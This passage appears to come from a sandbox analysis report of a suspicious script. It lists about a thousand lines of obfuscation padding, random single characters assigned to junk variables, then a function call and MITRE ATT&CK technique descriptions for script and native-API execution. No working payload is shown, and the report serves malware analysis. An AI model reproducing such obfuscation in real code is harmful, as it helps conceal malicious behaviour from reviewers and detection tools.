470	wurzo = "A";
471	wurzo = "T";
472	wurzo = "u";
473	wurzo = "I";
474	wurzo = "j";
475	wurzo = "g";
476	wurzo = "z";
477	wurzo = "X";
478	wurzo = "N";
479	wurzo = "o";
480	wurzo = "H";
481	wurzo = "n";
482	wurzo = "v";
483	wurzo = "F";
484	wurzo = "g";
485	wurzo = "z";
486	wurzo = "m";
487	wurzo = "x";
488	wurzo = "y";
489	wurzo = "t";
490	wurzo = "g";
491	wurzo = "d";
492	wurzo = "G";
493	wurzo = "u";
494	wurzo = "E";
495	wurzo = "&";
496	jboxthbng = "w";
497	jboxthbng = "s";
498	jboxthbng = "d";
499	jboxthbng = "J";
500	jboxthbng = "e";
501	jboxthbng = "H";
502	jboxthbng = "T";
503	jboxthbng = "p";
504	jboxthbng = "c";
505	jboxthbng = "T";
506	jboxthbng = "f";
507	jboxthbng = "U";
508	jboxthbng = "l";
509	jboxthbng = "\"";
510	vhwmoixo = "n";
511	vhwmoixo = "d";
512	vhwmoixo = "f";
513	vhwmoixo = "@";
514	gbskke = "R";
515	gbskke = "S";
516	gbskke = "a";
517	gbskke = "d";
518	gbskke = "T";
519	gbskke = "t";
520	gbskke = "H";
521	gbskke = "z";
522	gbskke = "R";
523	gbskke = "I";
524	gbskke = "C";
525	gbskke = "S";
526	gbskke = "h";
527	gbskke = "j";
528	gbskke = "d";
529	gbskke = "u";
530	gbskke = "b";
531	gbskke = "n";
532	gbskke = "F";
533	gbskke = "c";
534	gbskke = "o";
535	gbskke = "k";
536	gbskke = "b";
537	gbskke = "f";
538	gbskke = "e";
539	gbskke = "R";
540	gbskke = "u";
541	gbskke = "V";
542	gbskke = "W";
543	gbskke = "Y";
544	ouqvptcsh = "c";
545	ouqvptcsh = "K";
546	ouqvptcsh = "I";
547	ouqvptcsh = "k";
548	ouqvptcsh = "M";
549	ouqvptcsh = "W";
550	ouqvptcsh = "L";
551	ouqvptcsh = "D";
552	ouqvptcsh = "e";
553	ouqvptcsh = "c";
554	ouqvptcsh = "R";
555	ouqvptcsh = "c";
556	ouqvptcsh = "T";
557	ouqvptcsh = "h";
558	ouqvptcsh = "Z";
559	ouqvptcsh = "R";
560	ouqvptcsh = "K";
561	ouqvptcsh = "N";
562	ouqvptcsh = "Y";
563	ouqvptcsh = "T";
564	ouqvptcsh = "T";
565	ouqvptcsh = "q";
566	caseyjrm = "j";
567	caseyjrm = "U";
568	caseyjrm = "v";
569	caseyjrm = "M";
570	caseyjrm = "x";
571	caseyjrm = "I";
572	caseyjrm = "L";
573	caseyjrm = "h";
574	caseyjrm = "k";
575	caseyjrm = "v";
576	caseyjrm = "r";
577	caseyjrm = "I";
578	caseyjrm = "y";
579	caseyjrm = "P";
580	caseyjrm = "N";
581	caseyjrm = "X";
582	caseyjrm = "U";
583	caseyjrm = "I";
584	caseyjrm = "k";
585	caseyjrm = "k";
586	caseyjrm = "G";
587	caseyjrm = "G";
588	caseyjrm = "V";
589	caseyjrm = "P";
590	caseyjrm = "a";
591	caseyjrm = "w";
592	caseyjrm = "F";
593	caseyjrm = "b";
594	caseyjrm = "A";
595	caseyjrm = "g";
596	caseyjrm = "u";
597	caseyjrm = "w";
598	caseyjrm = "W";
599	caseyjrm = "R";
600	caseyjrm = "u";
601	caseyjrm = "G";
602	caseyjrm = "F";
603	caseyjrm = "9";
604	soeaq = "l";
605	soeaq = "b";
606	soeaq = "A";
607	soeaq = "v";
608	soeaq = "D";
609	soeaq = "C";
610	soeaq = "l";
611	soeaq = "u";
612	soeaq = "K";
613	soeaq = "t";
614	soeaq = "t";
615	soeaq = "R";
616	soeaq = "k";
617	soeaq = "R";
618	soeaq = "B";
619	soeaq = "6";
620	kxgzamt = "v";
621	kxgzamt = "W";
622	kxgzamt = "v";
623	kxgzamt = "N";
624	kxgzamt = "B";
625	kxgzamt = "L";
626	kxgzamt = "I";
627	kxgzamt = "d";
628	kxgzamt = "r";
629	kxgzamt = "Y";
630	kxgzamt = "F";
631	kxgzamt = "j";
632	kxgzamt = "T";
633	kxgzamt = "A";
634	kxgzamt = "j";
635	kxgzamt = "u";
636	kxgzamt = "E";
637	kxgzamt = "P";
638	kxgzamt = "p";
639	kxgzamt = "o";
640	kxgzamt = "r";
641	kxgzamt = "E";
642	kxgzamt = "e";
643	kxgzamt = "f";
644	ejzsutb = "V";
645	ejzsutb = "b";
646	ejzsutb = "q";
647	ejzsutb = "d";
648	ejzsutb = "d";
649	ejzsutb = "z";
650	ejzsutb = "j";
651	ejzsutb = "V";
652	ejzsutb = "v";
653	ejzsutb = "N";
654	ejzsutb = "u";
655	ejzsutb = "e";
656	ejzsutb = "G";
657	ejzsutb = "f";
658	ejzsutb = "o";
659	ejzsutb = "E";
660	ejzsutb = "G";
661	ejzsutb = "f";
662	ejzsutb = "F";
663	ejzsutb = "K";
664	ejzsutb = "S";
665	ejzsutb = "M";
666	ejzsutb = "X";
667	ejzsutb = "D";
668	ejzsutb = "m";
669	ejzsutb = "e";
670	ejzsutb = "c";
671	ejzsutb = "k";
672	ejzsutb = "M";
673	ejzsutb = "V";
674	ejzsutb = "o";
675	ejzsutb = "q";
676	ejzsutb = "j";
677	ejzsutb = "K";
678	ejzsutb = "X";
679	ejzsutb = "V";
680	ejzsutb = "r";
681	ejzsutb = "V";
682	ejzsutb = "w";
683	ejzsutb = "L";
684	ejzsutb = "E";
685	ejzsutb = "b";
686	ejzsutb = "N";
687	ejzsutb = "D";
688	ejzsutb = "Q";
689	khfxbgng = "s";
690	khfxbgng = "g";
691	khfxbgng = "R";
692	khfxbgng = "u";
693	khfxbgng = "q";
694	khfxbgng = "c";
695	khfxbgng = "w";
696	khfxbgng = "i";
697	khfxbgng = "T";
698	khfxbgng = "W";
699	khfxbgng = "K";
700	khfxbgng = "D";
701	khfxbgng = "C";
702	khfxbgng = "u";
703	khfxbgng = "M";
704	khfxbgng = "Z";
705	khfxbgng = "i";
706	khfxbgng = "y";
707	khfxbgng = "y";
708	khfxbgng = "N";
709	khfxbgng = "c";
710	khfxbgng = "z";
711	khfxbgng = "i";
712	khfxbgng = "i";
713	khfxbgng = "v";
714	khfxbgng = "a";
715	khfxbgng = "r";
716	khfxbgng = "Q";
717	khfxbgng = "G";
718	khfxbgng = "w";
719	khfxbgng = "c";
720	khfxbgng = "t";
721	khfxbgng = "C";
722	rynqjov = "x";
723	rynqjov = "E";
724	kgonmk = "S";
725	kgonmk = "N";
726	kgonmk = "f";
727	kgonmk = "P";
728	kgonmk = "o";
729	kgonmk = "X";
730	kgonmk = "n";
731	kgonmk = "q";
732	kgonmk = "O";
733	kgonmk = "V";
734	kgonmk = "w";
735	kgonmk = "q";
736	kgonmk = "d";
737	kgonmk = "K";
738	kgonmk = "J";
739	kgonmk = "A";
740	kgonmk = "T";
741	kgonmk = "f";
742	kgonmk = "M";
743	kgonmk = "d";
744	kgonmk = "R";
745	kgonmk = "w";
746	kgonmk = "e";
747	kgonmk = "I";
748	kgonmk = "c";
749	kgonmk = "D";
750	kgonmk = "W";
751	kptoh = "v";
752	kptoh = "Z";
753	kptoh = "u";
754	kptoh = "B";
755	kptoh = "z";
756	kptoh = "l";
757	kptoh = "t";
758	kptoh = "N";
759	kptoh = "D";
760	kptoh = "O";
761	kptoh = "V";
762	kptoh = "t";
763	kptoh = "y";
764	kptoh = "h";
765	kptoh = "W";
766	kptoh = "Q";
767	kptoh = "M";
768	kptoh = "k";
769	kptoh = "Y";
770	kptoh = "v";
771	kptoh = "w";
772	kptoh = "k";
773	kptoh = "h";
774	kptoh = "x";
775	kptoh = "R";
776	kptoh = "H";
777	kptoh = "z";
778	kptoh = "u";
779	kptoh = "Y";
780	kptoh = "G";
781	kptoh = " ";
782	qibqfz = "S";
783	qibqfz = "U";
784	qibqfz = "v";
785	qibqfz = "P";
786	qibqfz = "M";
787	qibqfz = "O";
788	qibqfz = "t";
789	qibqfz = "v";
790	qibqfz = "a";
791	qibqfz = "c";
792	qibqfz = "y";
793	qibqfz = "g";
794	qibqfz = "v";
795	qibqfz = "j";
796	qibqfz = "e";
797	qibqfz = "T";
798	qibqfz = "B";
799	qibqfz = "T";
800	qibqfz = "e";
801	qibqfz = "l";
802	qibqfz = "H";
803	qibqfz = "K";
804	qibqfz = "Z";
805	qibqfz = "H";
806	qibqfz = "S";
807	qibqfz = "X";
808	qibqfz = "l";
809	qibqfz = "P";
810	qxuvc = "w";
811	qxuvc = "J";
812	qxuvc = "y";
813	qxuvc = "J";
814	qxuvc = "u";
815	qxuvc = "V";
816	qxuvc = "v";
817	qxuvc = "B";
818	qxuvc = "V";
819	qxuvc = "e";
820	qxuvc = "q";
821	qxuvc = "X";
822	qxuvc = "o";
823	qxuvc = "d";
824	qxuvc = "A";
825	qxuvc = "u";
826	qxuvc = "k";
827	qxuvc = "j";
828	qxuvc = "i";
829	qxuvc = "t";
830	qxuvc = "H";
831	qxuvc = "Z";
832	qxuvc = "I";
833	qxuvc = "J";
834	qxuvc = "L";
835	qxuvc = "K";
836	qxuvc = "U";
837	qxuvc = "H";
838	qxuvc = "s";
839	qxuvc = "i";
840	qxuvc = "H";
841	qxuvc = "V";
842	qxuvc = "n";
843	plruwkw = "j";
844	plruwkw = "o";
845	plruwkw = "L";
846	plruwkw = "D";
847	plruwkw = "y";
848	plruwkw = "j";
849	plruwkw = "a";
850	plruwkw = "X";
851	plruwkw = "d";
852	plruwkw = "E";
853	plruwkw = "s";
854	plruwkw = "R";
855	plruwkw = "U";
856	plruwkw = "r";
857	plruwkw = "T";
858	plruwkw = "P";
859	plruwkw = "l";
860	plruwkw = "F";
861	plruwkw = "H";
862	plruwkw = "R";
863	plruwkw = "C";
864	plruwkw = "x";
865	plruwkw = "V";
866	plruwkw = "u";
867	plruwkw = "V";
868	plruwkw = "S";
869	plruwkw = "s";
870	plruwkw = "J";
871	plruwkw = "V";
872	plruwkw = "i";
873	plruwkw = "l";
874	plruwkw = "w";
875	plruwkw = "U";
876	plruwkw = "e";
877	plruwkw = "y";
878	plruwkw = "E";
879	plruwkw = "i";
880	plruwkw = "j";
881	plruwkw = "S";
882	plruwkw = "L";
883	mcbrpi = "w";
884	mcbrpi = "F";
885	mcbrpi = "Q";
886	mcbrpi = "f";
887	mcbrpi = "Z";
888	mcbrpi = "r";
889	mcbrpi = "S";
890	mcbrpi = "A";
891	mcbrpi = "G";
892	mcbrpi = "m";
893	mcbrpi = "l";
894	mcbrpi = "p";
895	mcbrpi = "y";
896	mcbrpi = "F";
897	mcbrpi = "l";
898	mcbrpi = "u";
899	mcbrpi = "h";
900	mcbrpi = "R";
901	mcbrpi = "g";
902	mcbrpi = "D";
903	mcbrpi = "u";
904	mcbrpi = "e";
905	mcbrpi = "N";
906	mcbrpi = "F";
907	kacoecqpx = "J";
908	kacoecqpx = "g";
909	kacoecqpx = "h";
910	kacoecqpx = "C";
911	kacoecqpx = "G";
912	kacoecqpx = "a";
913	kacoecqpx = "B";
914	kacoecqpx = "q";
915	kacoecqpx = "S";
916	kacoecqpx = "J";
917	kacoecqpx = "U";
918	kacoecqpx = "J";
919	kacoecqpx = "N";
920	kacoecqpx = "x";
921	kacoecqpx = "K";
922	thmzkge = "N";
923	thmzkge = "B";
924	thmzkge = "F";
925	thmzkge = "o";
926	thmzkge = "r";
927	thmzkge = "o";
928	thmzkge = "H";
929	thmzkge = "g";
930	thmzkge = "Z";
931	thmzkge = "H";
932	ehsefgza = "b";
933	ehsefgza = "Z";
934	ehsefgza = "P";
935	ehsefgza = "h";
936	ehsefgza = "S";
937	ehsefgza = "a";
938	ehsefgza = "y";
939	ehsefgza = "w";
940	ehsefgza = "G";
941	ehsefgza = "S";
942	ehsefgza = "y";
943	ehsefgza = "F";
944	ehsefgza = "G";
945	ehsefgza = "N";
946	ehsefgza = "n";
947	ehsefgza = "a";
948	ehsefgza = "f";
949	ehsefgza = "D";
950	ehsefgza = "f";
951	ehsefgza = "C";
952	ehsefgza = "I";
953	ehsefgza = "k";
954	ehsefgza = "e";
955	ehsefgza = "h";
956	ehsefgza = "h";
957	ehsefgza = "q";
958	ehsefgza = "u";
959	ehsefgza = "z";
960	ehsefgza = "Z";
961	ehsefgza = "V";
962	ehsefgza = "X";
963	ehsefgza = "C";
964	ehsefgza = "h";
965	ehsefgza = "e";
966	ehsefgza = "j";
967	ehsefgza = "i";
968	pdicpf = "K";
969	pdicpf = "W";
970	pdicpf = "B";
971	pdicpf = "J";
972	pdicpf = "w";
973	pdicpf = "y";
974	pdicpf = "P";
975	pdicpf = "K";
976	pdicpf = "A";
977	pdicpf = "E";
978	pdicpf = "p";
979	pdicpf = "Q";
980	pdicpf = "r";
981	pdicpf = "L";
982	pdicpf = "l";
983	pdicpf = "M";
984	pdicpf = "W";
985	pdicpf = "v";
986	pdicpf = "U";
987	pdicpf = "H";
988	pdicpf = "_";
989	behwlmjv = "X";
990	behwlmjv = "H";
991	behwlmjv = "M";
992	behwlmjv = "q";
993	behwlmjv = "V";
994	behwlmjv = "E";
995	behwlmjv = "v";
996	behwlmjv = "I";
997	behwlmjv = "n";
998	behwlmjv = "i";
999	behwlmjv = "K";
1000	behwlmjv = "S";
1001	behwlmjv = "n";
1002	behwlmjv = "H";
1003	behwlmjv = "U";
1004	behwlmjv = ":";
1005	yhugo = "F";
1006	yhugo = "Z";
1007	yhugo = "w";
1008	yhugo = "A";
1009	yhugo = "g";
1010	yhugo = "e";
1011	yhugo = "M";
1012	yhugo = "W";
1013	yhugo = "Q";
1014	yhugo = "g";
1015	yhugo = "K";
1016	yhugo = "U";
1017	yhugo = "X";
1018	yhugo = "u";
1019	yhugo = "x";
1020	yhugo = "Q";
1021	yhugo = "A";
1022	yhugo = "F";
1023	yhugo = "O";
1024	yhugo = "T";
1025	yhugo = "H";
1026	yhugo = "z";
1027	yhugo = "s";
1028	yhugo = "v";
1029	yhugo = "W";
1030	yhugo = "C";
1031	yhugo = "f";
1032	yhugo = "V";
1033	yhugo = "C";
1034	yhugo = "I";
1035	yhugo = "W";
1036	yhugo = "c";
1037	yhugo = "C";
1038	yhugo = "w";
1039	yhugo = "H";
1040	yhugo = "Q";
1041	yhugo = "u";
1042	yhugo = "N";
1043	yhugo = "Z";
1044	yhugo = "B";
1045	yhugo = "M";
1046	yhugo = "A";
1047	yhugo = "h";
1048	yhugo = "k";
1049	slrtfo = "c";
1050	slrtfo = "v";
1051	slrtfo = "j";
1052	slrtfo = "w";
1053	slrtfo = "r";
1054	slrtfo = ".";
1055	facvjwq = "z";
1056	facvjwq = "n";
1057	facvjwq = "C";
1058	facvjwq = "D";
1059	facvjwq = "v";
1060	facvjwq = "u";
1061	facvjwq = "R";
1062	facvjwq = "i";
1063	facvjwq = "d";
1064	facvjwq = "V";
1065	facvjwq = "C";
1066	facvjwq = "K";
1067	facvjwq = "s";
1068	facvjwq = "E";
1069	facvjwq = "S";
1070	facvjwq = "E";
1071	facvjwq = "k";
1072	facvjwq = "Z";
1073	facvjwq = "q";
1074	facvjwq = "T";
1075	facvjwq = "m";
1076	facvjwq = "B";
1077	facvjwq = "F";
1078	facvjwq = "Z";
1079	facvjwq = "G";
1080	facvjwq = "U";
1081	facvjwq = "k";
1082	facvjwq = "l";
1083	facvjwq = "m";
1084	facvjwq = "c";
1085	facvjwq = "c";
1086	uzekdsbl = "b";
1087	uzekdsbl = "P";
1088	uzekdsbl = "y";
1089	uzekdsbl = "M";
1090	uzekdsbl = "f";
1091	uzekdsbl = "S";
1092	uzekdsbl = "Z";
1093	uzekdsbl = "J";
1094	uzekdsbl = "T";
1095	uzekdsbl = "W";
1096	uzekdsbl = "l";
1097	uzekdsbl = "H";
1098	uzekdsbl = "B";
1099	uzekdsbl = "K";
1100	uzekdsbl = "P";
1101	uzekdsbl = "C";
1102	uzekdsbl = "O";
1103	uzekdsbl = "h";
1104	uzekdsbl = "z";
1105	uzekdsbl = "M";
1106	uzekdsbl = "D";
1107	uzekdsbl = "j";
1108	uzekdsbl = "u";
1109	uzekdsbl = "J";
1110	uzekdsbl = "k";
1111	uzekdsbl = "L";
1112	uzekdsbl = "R";
1113	uzekdsbl = "V";
1114	uzekdsbl = "z";
1115	uzekdsbl = "E";
1116	uzekdsbl = "h";
1117	uzekdsbl = "i";
1118	uzekdsbl = "J";
1119	uzekdsbl = "\\";
1120	fohyxhol = "t";
1121	fohyxhol = "U";
1122	fohyxhol = "p";
1123	fohyxhol = "D";
1124	fohyxhol = "s";
1125	fohyxhol = "r";
1126	fohyxhol = "F";
1127	fohyxhol = "k";
1128	fohyxhol = "G";
1129	fohyxhol = "X";
1130	fohyxhol = "d";
1131	fohyxhol = "c";
1132	fohyxhol = "t";
1133	fohyxhol = "k";
1134	fohyxhol = "g";
1135	fohyxhol = "u";
1136	fohyxhol = "R";
1137	fohyxhol = "Z";
1138	fohyxhol = "x";
1139	fohyxhol = "p";
1140	fohyxhol = "V";
1141	fohyxhol = "y";
1142	fohyxhol = "E";
1143	fohyxhol = "Q";
1144	fohyxhol = "B";
1145	fohyxhol = "x";
1146	fohyxhol = "R";
1147	fohyxhol = "B";
1148	fohyxhol = "q";
1149	fohyxhol = "2";
1150	ylyihnl = "u";
1151	ylyihnl = "w";
1152	ylyihnl = "P";
1153	ylyihnl = "o";
1154	ylyihnl = "O";
1155	ylyihnl = "u";
1156	ylyihnl = "r";
1157	ylyihnl = "f";
1158	ylyihnl = "D";
1159	ylyihnl = "f";
1160	ylyihnl = "o";
1161	ylyihnl = "f";
1162	ylyihnl = "H";
1163	ylyihnl = "g";
1164	ylyihnl = "R";
1165	ylyihnl = "J";
1166	ylyihnl = "f";
1167	ylyihnl = "n";
1168	ylyihnl = "s";
1169	ylyihnl = "D";
1170	ylyihnl = "X";
1171	ylyihnl = "J";
1172	ylyihnl = "w";
1173	ylyihnl = "x";
1174	ylyihnl = "S";
1175	ylyihnl = "z";
1176	ylyihnl = "k";
1177	ylyihnl = "H";
1178	ylyihnl = "F";
1179	ylyihnl = "v";
1180	ylyihnl = "t";
1181	ylyihnl = "o";
1182	ylyihnl = "g";
1183	ylyihnl = "i";
1184	ylyihnl = "i";
1185	ylyihnl = "w";
1186	ylyihnl = "r";
1187	ylyihnl = "A";
1188	ylyihnl = "R";
1189	ylyihnl = "T";
1190	ylyihnl = "q";
1191	ylyihnl = "-";
1192	otfgav = "i";
1193	otfgav = "I";
1194	otfgav = "a";
1195	otfgav = "H";
1196	otfgav = "M";
1197	otfgav = "4";
1198	uiqzuxrt = "s";
1199	uiqzuxrt = "v";
1200	uiqzuxrt = "f";
1201	uiqzuxrt = "J";
1202	uiqzuxrt = "Q";
1203	uiqzuxrt = "C";
1204	uiqzuxrt = "L";
1205	uiqzuxrt = "b";
1206	uiqzuxrt = "G";
1207	uiqzuxrt = "D";
1208	uiqzuxrt = "T";
1209	uiqzuxrt = "s";
1210	uiqzuxrt = "w";
1211	uiqzuxrt = "N";
1212	uiqzuxrt = "s";
1213	uiqzuxrt = "W";
1214	uiqzuxrt = "R";
1215	uiqzuxrt = "g";
1216	uiqzuxrt = "Q";
1217	uiqzuxrt = "q";
1218	uiqzuxrt = "T";
1219	uiqzuxrt = "8";
1220	fmdpbele = "a";
1221	fmdpbele = "h";
1222	fmdpbele = "g";
1223	fmdpbele = "o";
1224	fmdpbele = "d";
1225	fmdpbele = "K";
1226	fmdpbele = "e";
1227	fmdpbele = "y";
1228	fmdpbele = "T";
1229	fmdpbele = "/";
1230	ecwtsd = "h";
1231	ecwtsd = "r";
1232	ecwtsd = "L";
1233	ecwtsd = "w";
1234	ecwtsd = "t";
1235	ecwtsd = "f";
1236	ecwtsd = "q";
1237	ecwtsd = "h";
1238	ecwtsd = "W";
1239	ecwtsd = "O";
1240	ecwtsd = "A";
1241	ecwtsd = "z";
1242	ecwtsd = "I";
1243	ecwtsd = "b";
1244	ecwtsd = "B";
1245	ecwtsd = "Y";
1246	ecwtsd = "I";
1247	ecwtsd = "W";
1248	ecwtsd = "z";
1249	ecwtsd = "c";
1250	ecwtsd = "A";
1251	ecwtsd = "h";
1252	ecwtsd = "r";
1253	ecwtsd = "r";
1254	ecwtsd = "f";
1255	ecwtsd = "x";
1256	ecwtsd = "R";
1257	ecwtsd = "Z";
1258	ecwtsd = "p";
1259	ecwtsd = "G";
1260	ecwtsd = "B";
1261	ecwtsd = "b";
1262	ecwtsd = "I";
1263	ecwtsd = "s";
1264	ecwtsd = "q";
1265	ecwtsd = "g";
1266	euqsggi = "R";
1267	euqsggi = "o";
1268	euqsggi = "G";
1269	euqsggi = "R";
1270	euqsggi = "v";
1271	euqsggi = "7";
1272	hcvzaovi = "E";
1273	hcvzaovi = "b";
1274	adoptzdy = "p";
1275	adoptzdy = "d";
1276	adoptzdy = "A";
1277	adoptzdy = "l";
1278	adoptzdy = "B";
1279	adoptzdy = "r";
1280	adoptzdy = "f";
1281	adoptzdy = "W";
1282	adoptzdy = "n";
1283	adoptzdy = "g";
1284	adoptzdy = "c";
1285	adoptzdy = "s";
1286	adoptzdy = "c";
1287	adoptzdy = "J";
1288	adoptzdy = "Z";
1289	adoptzdy = "N";
1290	adoptzdy = "H";
1291	adoptzdy = "q";
1292	adoptzdy = "p";
1293	adoptzdy = "v";
1294	adoptzdy = "u";
1295	adoptzdy = "r";
1296	adoptzdy = "H";
1297	adoptzdy = "y";
1298	adoptzdy = "i";
1299	adoptzdy = "J";
1300	adoptzdy = "B";
1301	adoptzdy = "v";
1302	adoptzdy = "H";
1303	adoptzdy = "l";
1304	lwmdk = "o";
1305	lwmdk = "Q";
1306	lwmdk = "z";
1307	lwmdk = "a";
1308	lwmdk = "T";
1309	lwmdk = "n";
1310	lwmdk = "N";
1311	lwmdk = "D";
1312	lwmdk = "D";
1313	lwmdk = "3";
1314	qoqpczid = "u";
1315	qoqpczid = "R";
1316	qoqpczid = "w";
1317	qoqpczid = "m";
1318	qoqpczid = "V";
1319	qoqpczid = "H";
1320	qoqpczid = "r";
1321	qoqpczid = "F";
1322	qoqpczid = "R";
1323	qoqpczid = "L";
1324	qoqpczid = "T";
1325	qoqpczid = "u";
1326	qoqpczid = "p";
1327	qoqpczid = "r";
1328	qoqpczid = "q";
1329	qoqpczid = "B";
1330	qoqpczid = "1";
1331	pnnljrzv = "i";
1332	pnnljrzv = "j";
1333	pnnljrzv = "B";
1334	pnnljrzv = "g";
1335	pnnljrzv = "m";
1336	pnnljrzv = "K";
1337	pnnljrzv = "r";
1338	pnnljrzv = "h";
1339	pnnljrzv = "J";
1340	pnnljrzv = "h";
1341	rjupcmb = "d";
1342	rjupcmb = "r";
1343	rfptnhcd = "L";
1344	rfptnhcd = "J";
1345	rfptnhcd = "v";
1346	rfptnhcd = "x";
1347	rfptnhcd = "c";
1348	rfptnhcd = "H";
1349	rfptnhcd = "G";
1350	rfptnhcd = "P";
1351	rfptnhcd = "Z";
1352	rfptnhcd = "A";
1353	rfptnhcd = "r";
1354	rfptnhcd = "e";
1355	rfptnhcd = "Z";
1356	rfptnhcd = "x";
1357	rfptnhcd = "N";
1358	rfptnhcd = "r";
1359	rfptnhcd = "P";
1360	rfptnhcd = "P";
1361	rfptnhcd = "m";
1362	rfptnhcd = "C";
1363	rfptnhcd = "r";
1364	rfptnhcd = "d";
1365	rfptnhcd = "i";
1366	rfptnhcd = "I";
1367	rfptnhcd = "g";
1368	rfptnhcd = "y";
1369	rfptnhcd = "U";
1370	rfptnhcd = "I";
1371	hkzezb = "O";
1372	hkzezb = "J";
1373	hkzezb = "u";
1374	hkzezb = "t";
1375	hkzezb = "X";
1376	hkzezb = "x";
1377	hkzezb = "P";
1378	hkzezb = "k";
1379	hkzezb = "C";
1380	hkzezb = "L";
1381	hkzezb = "I";
1382	hkzezb = "b";
1383	hkzezb = "N";
1384	hkzezb = "p";
1385	hkzezb = "y";
1386	hkzezb = "B";
1387	hkzezb = "J";
1388	hkzezb = "w";
1389	hkzezb = "s";
1390	hkzezb = "r";
1391	hkzezb = "d";
1392	hkzezb = "t";
1393	yixdxmjkx = "V";
1394	yixdxmjkx = "Z";
1395	yixdxmjkx = "x";
1396	yixdxmjkx = "l";
1397	yixdxmjkx = "w";
1398	yixdxmjkx = "d";
1399	yixdxmjkx = "R";
1400	yixdxmjkx = "B";
1401	yixdxmjkx = "q";
1402	yixdxmjkx = "o";
1403	yixdxmjkx = "N";
1404	yixdxmjkx = "R";
1405	yixdxmjkx = "x";
1406	yixdxmjkx = "K";
1407	yixdxmjkx = "p";
1408	yixdxmjkx = "Z";
1409	yixdxmjkx = "X";
1410	yixdxmjkx = "B";
1411	yixdxmjkx = "Z";
1412	yixdxmjkx = "v";
1413	yixdxmjkx = "s";
1414	yixdxmjkx = "L";
1415	yixdxmjkx = "S";
1416	yixdxmjkx = "o";
1417	yixdxmjkx = "d";
1418	yixdxmjkx = "K";
1419	yixdxmjkx = "j";
1420	yixdxmjkx = "U";
1421	yixdxmjkx = "z";
1422	yixdxmjkx = "u";
1423	mttda = "d";
1424	mttda = "L";
1425	mttda = "E";
1426	mttda = "y";
1427	mttda = "r";
1428	mttda = "U";
1429	mttda = "S";
1430	mttda = "m";
1431	mttda = "W";
1432	mttda = "Q";
1433	mttda = "x";
1434	mttda = "Z";
1435	mttda = "X";
1436	mttda = "K";
1437	mttda = "Z";
1438	mttda = "Z";
1439	mttda = "B";
1440	mttda = "U";
1441	mttda = "s";
1442	mttda = "N";
1443	ygkxaaieb = "r";
1444	ygkxaaieb = "s";
1445	ygkxaaieb = "H";
1446	ygkxaaieb = "F";
1447	ygkxaaieb = "W";
1448	ygkxaaieb = "M";
1449	ygkxaaieb = "Q";
1450	ygkxaaieb = "H";
1451	ygkxaaieb = "L";
1452	ygkxaaieb = "R";
1453	ygkxaaieb = "M";
1454	ygkxaaieb = "d";
1455	ygkxaaieb = "u";
1456	ygkxaaieb = "i";
1457	ygkxaaieb = "A";
1458	ygkxaaieb = "s";
1459	ygkxaaieb = "p";
1460	ygkxaaieb = "t";
1461	ygkxaaieb = "B";
1462	ygkxaaieb = "Z";
1463	ygkxaaieb = "H";
1464	ygkxaaieb = "S";
1465	ygkxaaieb = "a";
1466	ygkxaaieb = "e";
1467	ygkxaaieb = "r";
1468	ygkxaaieb = "p";
1469	ygkxaaieb = "R";
1470	ygkxaaieb = "R";
1471	ygkxaaieb = "P";
1472	ygkxaaieb = "p";
1473	ygkxaaieb = "k";
1474	ygkxaaieb = "R";
1475	ygkxaaieb = "p";
1476	ygkxaaieb = "g";
1477	ygkxaaieb = "c";
1478	ygkxaaieb = "f";
1479	ygkxaaieb = "w";
1480	uuglaw = "z";
1481	uuglaw = "v";
1482	uuglaw = "D";
1483	uuglaw = "N";
1484	uuglaw = "j";
1485	uuglaw = "k";
1486	uuglaw = "s";
1487	uuglaw = "O";
1488	uuglaw = "r";
1489	uuglaw = "F";
1490	uuglaw = "S";
1491	uuglaw = "k";
1492	uuglaw = "r";
1493	uuglaw = "g";
1494	uuglaw = "F";
1495	uuglaw = "R";
1496	uuglaw = "m";
1497	uuglaw = "C";
1498	uuglaw = "y";
1499	uuglaw = "f";
1500	uuglaw = "H";
1501	uuglaw = "o";
1502	uuglaw = "s";
1503	uuglaw = "R";
1504	uuglaw = "B";
1505	uuglaw = "x";
1506	uuglaw = "T";
1507	uuglaw = "x";
1508	uuglaw = "T";
1509	uuglaw = "L";
1510	uuglaw = "s";
1511	uuglaw = "g";
1512	uuglaw = "J";
1513	uuglaw = "j";
1514	aielndn = "J";
1515	aielndn = "f";
1516	aielndn = "h";
1517	aielndn = "c";
1518	aielndn = "e";
1519	aielndn = "Q";
1520	aielndn = "h";
1521	aielndn = "U";
1522	aielndn = "l";
1523	aielndn = "N";
1524	aielndn = "v";
1525	aielndn = "P";
1526	aielndn = "V";
1527	aielndn = "g";
1528	aielndn = "f";
1529	aielndn = "b";
1530	aielndn = "w";
1531	aielndn = "I";
1532	aielndn = "G";
1533	aielndn = "v";
1534	aielndn = "i";
1535	aielndn = "I";
1536	aielndn = "y";
1537	aielndn = "y";
1538	aielndn = "a";
1539	aielndn = "e";
1540	aielndn = "O";
1541	aielndn = "Q";
1542	aielndn = "l";
1543	aielndn = "E";
1544	aielndn = "q";
1545	aielndn = "I";
1546	aielndn = "a";
1547	aielndn = "E";
1548	aielndn = "H";
1549	aielndn = "c";
1550	aielndn = "H";
1551	aielndn = "R";
1552	hqnossw ( );	hqnossw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

